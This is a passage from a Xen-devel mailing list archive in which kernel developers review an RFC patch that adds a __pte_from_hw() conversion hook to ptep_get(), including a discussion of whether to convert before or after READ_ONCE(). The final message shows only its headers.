>>  }
>>  #endif
>>  
>> diff --git a/include/linux/pgtable_types.h b/include/linux/pgtable_types.h
>> index ed5dba42a4f8c..61afe27307ec2 100644
>> --- a/include/linux/pgtable_types.h
>> +++ b/include/linux/pgtable_types.h
>> @@ -6,6 +6,7 @@
>>  
>>  #ifndef __HAVE_ARCH_HW_PTE_T
>>  #define hw_pte_t pte_t
>> +#define __pte_from_hw(pte)	(pte)
>>  #endif
>>  
>>  #endif /* _LINUX_PGTABLE_TYPES_H */
>> -- 
>> 2.47.3
>>

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 10:25:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 10:25:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377439.1623502 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNws-00025D-2A; Thu, 30 Jul 2026 10:25:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377439.1623502; Thu, 30 Jul 2026 10:25:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNwr-000255-VZ; Thu, 30 Jul 2026 10:25:09 +0000
Received: by outflank-mailman (input) for mailman id 1377439;
 Thu, 30 Jul 2026 10:25:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <agordeev@linux.ibm.com>) id 1wpNwq-00024x-JO
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:25:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpNwn-008bn6-FE
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 12:25:05 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a6b2675-e002-0a2a0a5209dd-0a2a4508c864-40
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:25:05 +0200
Received: from [148.163.158.5] (helo=mx0b-001b2d01.pphosted.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a6b267f-f659-0a2a45080019-94a39e053668-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:25:04 +0200
Received: from pps.filterd (m0356516.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66UAHfTr2636729; Thu, 30 Jul 2026 10:24:22 GMT
Received: from ppma23.wdc07v.mail.ibm.com
 (5d.69.3da9.ip4.static.sl-reverse.com [169.61.105.93])
 by mx0a-001b2d01.pphosted.com (PPS) with ESMTPS id 4fmuyjeb2g-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Thu, 30 Jul 2026 10:24:22 +0000 (GMT)
Received: from pps.filterd (ppma23.wdc07v.mail.ibm.com [127.0.0.1])
 by ppma23.wdc07v.mail.ibm.com (8.18.1.7/8.18.1.7) with ESMTP id 66UACIwl016888;
 Thu, 30 Jul 2026 10:24:21 GMT
Received: from smtprelay06.fra02v.mail.ibm.com ([9.218.2.230])
 by ppma23.wdc07v.mail.ibm.com (PPS) with ESMTPS id 4fn8yhjrst-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Thu, 30 Jul 2026 10:24:21 +0000 (GMT)
Received: from smtpav01.fra02v.mail.ibm.com (smtpav01.fra02v.mail.ibm.com
 [10.20.54.100])
 by smtprelay06.fra02v.mail.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 66UAOJda30736806
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 30 Jul 2026 10:24:19 GMT
Received: from smtpav01.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 4770120040;
 Thu, 30 Jul 2026 10:24:19 +0000 (GMT)
Received: from smtpav01.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 832C320043;
 Thu, 30 Jul 2026 10:24:18 +0000 (GMT)
Received: from li-008a6a4c-3549-11b2-a85c-c5cc2836eea2.ibm.com (unknown
 [9.224.92.206])
 by smtpav01.fra02v.mail.ibm.com (Postfix) with ESMTPS;
 Thu, 30 Jul 2026 10:24:18 +0000 (GMT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=pp1 header.d=ibm.com header.i="@ibm.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ibm.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=pp1; bh=xw9bl0UjL8IGxj4aZhOi4y5k8I/VjG
	wH4N8Nftf3ETs=; b=cbuZuTGvqINoexIK4WJN7w/SOfmPaw53VjLgWWtS0g1TV6
	AApSlNPtfukyEGV6EI1+baii13lUpd2RVrnTO88JAS1uB01nwD67S3BhwpoT2ftm
	pF1aM1FG6wpbsP/2T2h/31TWb6MAMdVqk0Y0U7xObox64yGys3hlQjDIfr8/OyTT
	ZLk2ISyswnawz/KZ/3QxEn7Cz3+cgM9B0jXe3LlYa7dkclFQ8s+v8pXMLDuK64eU
	xSEo265wzDTK23P4NZS7d3IgP6C+Az950pfBRGVg8zEGHpSLAluj7s56G0jmRmD0
	INGHxNZjyqwgHLW/B1Qyfn+8b6UhtSsWVxw1bs8A==
Date: Thu, 30 Jul 2026 12:24:17 +0200
From: Alexander Gordeev <agordeev@linux.ibm.com>
To: Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
        Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
        Rodrigo Vivi <rodrigo.vivi@intel.com>,
        Tvrtko Ursulin <tursulin@ursulin.net>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Dimitri Sivanich <dimitri.sivanich@hpe.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
        Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Muchun Song <muchun.song@linux.dev>,
        Oscar Salvador <osalvador@suse.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        "Liam R. Howlett" <liam@infradead.org>,
        Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>,
        "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
        Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
        Andrey Ryabinin <ryabinin.a.a@gmail.com>,
        David Hildenbrand <david@kernel.org>,
        Pasha Tatashin <pasha.tatashin@soleen.com>,
        Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>,
        Uladzislau Rezki <urezki@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Masami Hiramatsu <mhiramat@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        Daniel Borkmann <daniel@iogearbox.net>,
        Andrii Nakryiko <andrii@kernel.org>,
        Eduard Zingerman <eddyz87@gmail.com>,
        Kumar Kartikeya Dwivedi <memxor@gmail.com>,
        Ingo Molnar <mingo@redhat.com>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
        "Matthew Wilcox (Oracle)" <willy@infradead.org>,
        Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>,
        Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>,
        Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>,
        Christoph Lameter <cl@gentwo.org>, Mike Rapoport <rppt@kernel.org>,
        Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, pfalcato@suse.de,
        ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
        intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
        linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
        linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
        linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
        linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
        linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 05/11] mm: convert PTE table entries in ptep_get()
Message-ID: <9ac3f058-2a22-4801-8633-65635053c8ea-agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-6-usama.anjum@arm.com>
 <34eed5fd-c569-49d8-bc4d-a3d4b1207fbd-agordeev@linux.ibm.com>
 <fec9e0c7-07c3-442c-819b-f9f5316cb6a2@arm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <fec9e0c7-07c3-442c-819b-f9f5316cb6a2@arm.com>
X-TM-AS-GCONF: 00
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzMwMDA3NyBTYWx0ZWRfX4Ckb6VFvsR9K
 iulXf5F6J1kbO3S70H2cESI4ld0w043xIGqpEZSAio/jR2ldVb59L2x/b1Cpx4Kz3J+55BAkaM9
 AupsGP2HnWvt72AfxwuZCRHnnZzHlFA=
X-Proofpoint-GUID: lqUngdZpiUvWS2H94qSv0rrypUIzUueB
X-Proofpoint-ORIG-GUID: lqUngdZpiUvWS2H94qSv0rrypUIzUueB
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzMwMDA3NyBTYWx0ZWRfX06YvqUElSumU
 CX2i3BnWz3n82hQOJuDP+Eanqg4avWjidLhYvcVNnamNO07ZloFlgeCgnjzpU+K/axVetiCls6t
 fKTSRdUkAcS0rVX5DnmB5M3W+uSpPU1IR/K4E27Sif4nh0pOXRleMzORssdR6V6MA7b5OjvGCGl
 tmvL0lRGkg/9y7/aNGQHm7zP9EpllmztMk0bjuCc6uOo5iaioj63uiUyglAwfqaYT/no/5x3iQn
 vH4Y1m9mc+79iOqDEv4VRNaHyLb/P8hiMxjG+nu/SRMxZsyV5wIoBoehG5Qe599Oqn8bsFRSCM3
 nyuj5Wj5auh3/+ccZhKHFFSfFIyH9mArzZF7DQ5gDzyTNL3gEudzEqBeGvpOI/h3/KDV8L04T7O
 OCFoQvBOxFLH/rPHH9zdO6BPTMqXuYhm4NtAFZGuJ1Oen3ihETQeEK2CjltziDECdSbdSoTjDB5
 7szof3AH3iJlA7l4pXg==
X-Authority-Analysis: v=2.4 cv=X5Vi7mTe c=1 sm=1 tr=0 ts=6a6b2656 cx=c_pps
 a=3Bg1Hr4SwmMryq2xdFQyZA==:117 a=3Bg1Hr4SwmMryq2xdFQyZA==:17
 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=RnoormkPH1_aCDwRdu11:22 a=Y2IxJ9c9Rs8Kov3niI8_:22 a=7CQSdrXTAAAA:8
 a=7fzHlb7OYtr7bZKlnRAA:9 a=CjuIK1q_8ugA:10 a=a-qgeE7W1pNrGK8U0ZQC:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-30_03,2026-07-29_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 impostorscore=0 lowpriorityscore=0 phishscore=0
 priorityscore=1501 malwarescore=0 spamscore=0 suspectscore=0 bulkscore=0
 adultscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607300077
X-purgate-ID: tlsNG-c1860d/1785407105-CD34D87B-91E6AD99/0/0
X-purgate-type: clean
X-purgate-size: 2024

On Thu, Jul 30, 2026 at 11:11:35AM +0100, Muhammad Usama Anjum wrote:
> On 30/07/2026 11:08 am, Alexander Gordeev wrote:
> > On Mon, Jul 27, 2026 at 05:46:56PM +0100, Muhammad Usama Anjum wrote:
> >> ptep_get() now accepts a pointer to hw_pte_t storage but must continue to
> >> return a logical pte_t value. Add __pte_from_hw() as the conversion hook
> >> and apply it in the generic ptep_get() implementation.
> >>
> >> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
> >> ---
> >>  include/linux/pgtable.h       | 2 +-
> >>  include/linux/pgtable_types.h | 1 +
> >>  2 files changed, 2 insertions(+), 1 deletion(-)
> >>
> >> diff --git a/include/linux/pgtable.h b/include/linux/pgtable.h
> >> index dad80d264aac2..3003ac9cd81fe 100644
> >> --- a/include/linux/pgtable.h
> >> +++ b/include/linux/pgtable.h
> >> @@ -493,7 +493,7 @@ static inline int pudp_set_access_flags(struct vm_area_struct *vma,
> >>  #ifndef ptep_get
> >>  static inline pte_t ptep_get(hw_pte_t *ptep)
> >>  {
> >> -	return READ_ONCE(*ptep);
> >> +	return READ_ONCE(__pte_from_hw(*ptep));
> > 
> > Should it be something like?
> > 
> > 	return __pte_from_hw(READ_ONCE(*ptep));
> I'd thought about it. My thinking is that we should get the pte_t first before
> before calling READ_ONCE(). Please correct me what makes more sense?

I have a problem with "get the pte_t first" part ;) I think what we want
is atomically read the hw_pte_t from the HW table and then convert the
result to pte_t.

> > 
> >>  }
> >>  #endif
> >>  
> >> diff --git a/include/linux/pgtable_types.h b/include/linux/pgtable_types.h
> >> index ed5dba42a4f8c..61afe27307ec2 100644
> >> --- a/include/linux/pgtable_types.h
> >> +++ b/include/linux/pgtable_types.h
> >> @@ -6,6 +6,7 @@
> >>  
> >>  #ifndef __HAVE_ARCH_HW_PTE_T
> >>  #define hw_pte_t pte_t
> >> +#define __pte_from_hw(pte)	(pte)
> >>  #endif
> >>  
> >>  #endif /* _LINUX_PGTABLE_TYPES_H */
> >> -- 
> >> 2.47.3
> >>
> 
> -- 
> Thanks,
> Usama
> 


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 10:26:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 10:26:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377446.1623511 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNyR-0002iL-DB; Thu, 30 Jul 2026 10:26:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377446.1623511; Thu, 30 Jul 2026 10:26:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpNyR-0002iE-AG; Thu, 30 Jul 2026 10:26:47 +0000
Received: by outflank-mailman (input) for mailman id 1377446;
 Thu, 30 Jul 2026 10:26:46 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wpNyQ-0002i6-8h
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:26:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpNyP-008c43-Gw
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 12:26:45 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6b26d2-5cb7-0a2a0a5109dd-0a2a4505d054-34
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:26:44 +0200
Received: from [52.101.65.28]
 (helo=DU2PR03CU002.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6b26e3-4cb1-0a2a45050019-3465411cce92-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:26:43 +0200
Received: from DB9PR02CA0009.eurprd02.prod.outlook.com (2603:10a6:10:1d9::14)
 by AS4PR08MB7758.eurprd08.prod.outlook.com (2603:10a6:20b:515::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Thu, 30 Jul
 2026 10:26:38 +0000
Received: from DU2PEPF0001E9C3.eurprd03.prod.outlook.com
 (2603:10a6:10:1d9:cafe::4f) by DB9PR02CA0009.outlook.office365.com
 (2603:10a6:10:1d9::14) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.14 via Frontend Transport; Thu,
 30 Jul 2026 10:26:38 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 DU2PEPF0001E9C3.mail.protection.outlook.com (10.167.8.72) with Microsoft SMTP
 Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5 via
 Frontend Transport; Thu, 30 Jul 2026 10:26:37 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com (2603:10a6:803:80::16)
 by PAVPR08MB8799.eurprd08.prod.outlook.com (2603:10a6:102:32b::22)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.14; Thu, 30 Jul
 2026 10:25:32 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4]) by VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4%3]) with mapi id 15.21.0270.009; Thu, 30 Jul 2026
 10:25:32 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=sRJc0rLoy8gcF3NArSz9853A6rzaldEhaXQkIWreqs4Pz76rSuPtvxl/BnyUN7w6CVyP7Ge2OZUWzEFIGGIthJqhU+MP9jyDAMvVefoMcbcIUzRNX6Vx7E/b2V6dYQKjBR28/MkRTJlWZxy68/rL12ysH5rApRmFQTgk2+KGdn8JRi6p+Lk714qR0Pcv6mq39GmE5Ugij29SUXqtlMveWiKB9Vbm5s8jfMpZJQG358xVnRYvLPyWSw1OYKXCoDwcJCc/WL7Iz1hHfF9jcBHRLRgLfOx2FtgSEqLB7+X3lw9RO3tSS1TO+EUUWpiyBG/FRLJd5ZfhdiVodtRqD38w1Q==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=W3wZAwMMPZoTgl0+TvR5LTWocvVN0gVFmphGcUzdiRM=;
 b=ABJ1CrzgUr48o1FG28XFjvNGL6JjE12+0r7ORKJRgCdjIYWom0mdjODfLK1UWdcZ1C2PqYjKzIUGvv34YkHSpb+7HxdW3OGz9tFeOPQZt7YuFzaRw9HKGEARi/53RhKle0DNY+MgzIA5E/UMWkAZTn2ed7+M8bOfHUzSeHt/wwJi1/NhsOZXM8DNgqQkTS/ebHJXZug854AQ6870OnD30ED7bK2vUPVFHeWC/VWPjrVc0TO23Gxoh7SrJPg3nBKqetZKJq9nVUYk6BuFARoI81nXE3SftoXfPJ3LohWaOr4YLYIwuJd1fD/CN7kxbOMxToGMqBmay5vDyQBUSxDz8g==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=linux.ibm.com smtp.mailfrom=arm.com;
 dmarc=pass (p=none sp=none pct=100) action=none header.from=arm.com;
 dkim=pass (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=W3wZAwMMPZoTgl0+TvR5LTWocvVN0gVFmphGcUzdiRM=;
 b=I3KGM4UbiK3WIJNvtMLyCLKEtgAXgD6bn0xN3RM8BZUiRELjJKB8aNg0GS0K0Zkm8DgbPZTATfeO89kDomtxbUreYjDNWfu2IAQJ0kt8rZD/6dyYZfSbFtfCeNR43NYJtBUMxXjH5BfKeE1xftNRWFhpLkvvVhRAM+3b6bPrwKM=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=JDk6Z05YfJ98U+ROp9YQdvIgUvkAtmelCatjajEmueB0eqWoORKpIhSBuCWJg34MDT2YYcVhzaT+UFHip6u+ZDFk8Ll6OJiE5FaULhQ/dcbHjaiQXr4qMWeENZoIgTdzfYE6OYkbYmGscMVE8dMLgn4V2CxeRAiMB7O7PQ45JFDFbcnXJll0lDLF+1iflOy43hFBsVUFWFQCwpdQP3YtatJ3B/KzCxs4NZfWv2sVLI8lL7+i5J1VbrhK/D8xgDcGs1XkLch7eSwMOfHxEIKwUghWx3muEZRg0m67eH3bodkccjFs/Z0zY5G+i5d6Ia5KRdKMgLBv0RYK3NageiSCdQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=W3wZAwMMPZoTgl0+TvR5LTWocvVN0gVFmphGcUzdiRM=;
 b=sF1ye7kIvwABa0k/uw5UtDb/io5ZKbiWz0C1UkI+KXUOucKXfwVcyW4TsIAfR4XxHS8lf3++fFrreuLymWXgiEJC5UBQu2FDNEpAE19alIoXox1cgU97AmS9AauP9zCjWyy8ZXDx5JpUWLfn2fUFaqkl7gq9B59dHyLEEa1s26ds8TRtfxtMBtasP4sJKQthSYe/URkdMuCgbBR1My4lGgXtmetVSAx3FyPTElnVzxHDYIg12xYdq9FcRhs/OdKtqrsInhPY+GQyqV5vS4IGj0QSzYpIyFFnCaFggPyeyULfuNxwXEyf48i21grm3tUkToFKBn6g3mDYs0V/iyGmLQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=W3wZAwMMPZoTgl0+TvR5LTWocvVN0gVFmphGcUzdiRM=;
 b=I3KGM4UbiK3WIJNvtMLyCLKEtgAXgD6bn0xN3RM8BZUiRELjJKB8aNg0GS0K0Zkm8DgbPZTATfeO89kDomtxbUreYjDNWfu2IAQJ0kt8rZD/6dyYZfSbFtfCeNR43NYJtBUMxXjH5BfKeE1xftNRWFhpLkvvVhRAM+3b6bPrwKM=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <cc3cbd79-d606-41dc-a83e-220ccc220ea8@arm.com>
Date: Thu, 30 Jul 2026 11:25:29 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 David Hildenbrand <david@kernel.org>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 05/11] mm: convert PTE table entries in ptep_get()
To: Alexander Gordeev <agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-6-usama.anjum@arm.com>
 <34eed5fd-c569-49d8-bc4d-a3d4b1207fbd-agordeev@linux.ibm.com>
 <fec9e0c7-07c3-442c-819b-f9f5316cb6a2@arm.com>
 <9ac3f058-2a22-4801-8633-65635053c8ea-agordeev@linux.ibm.com>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
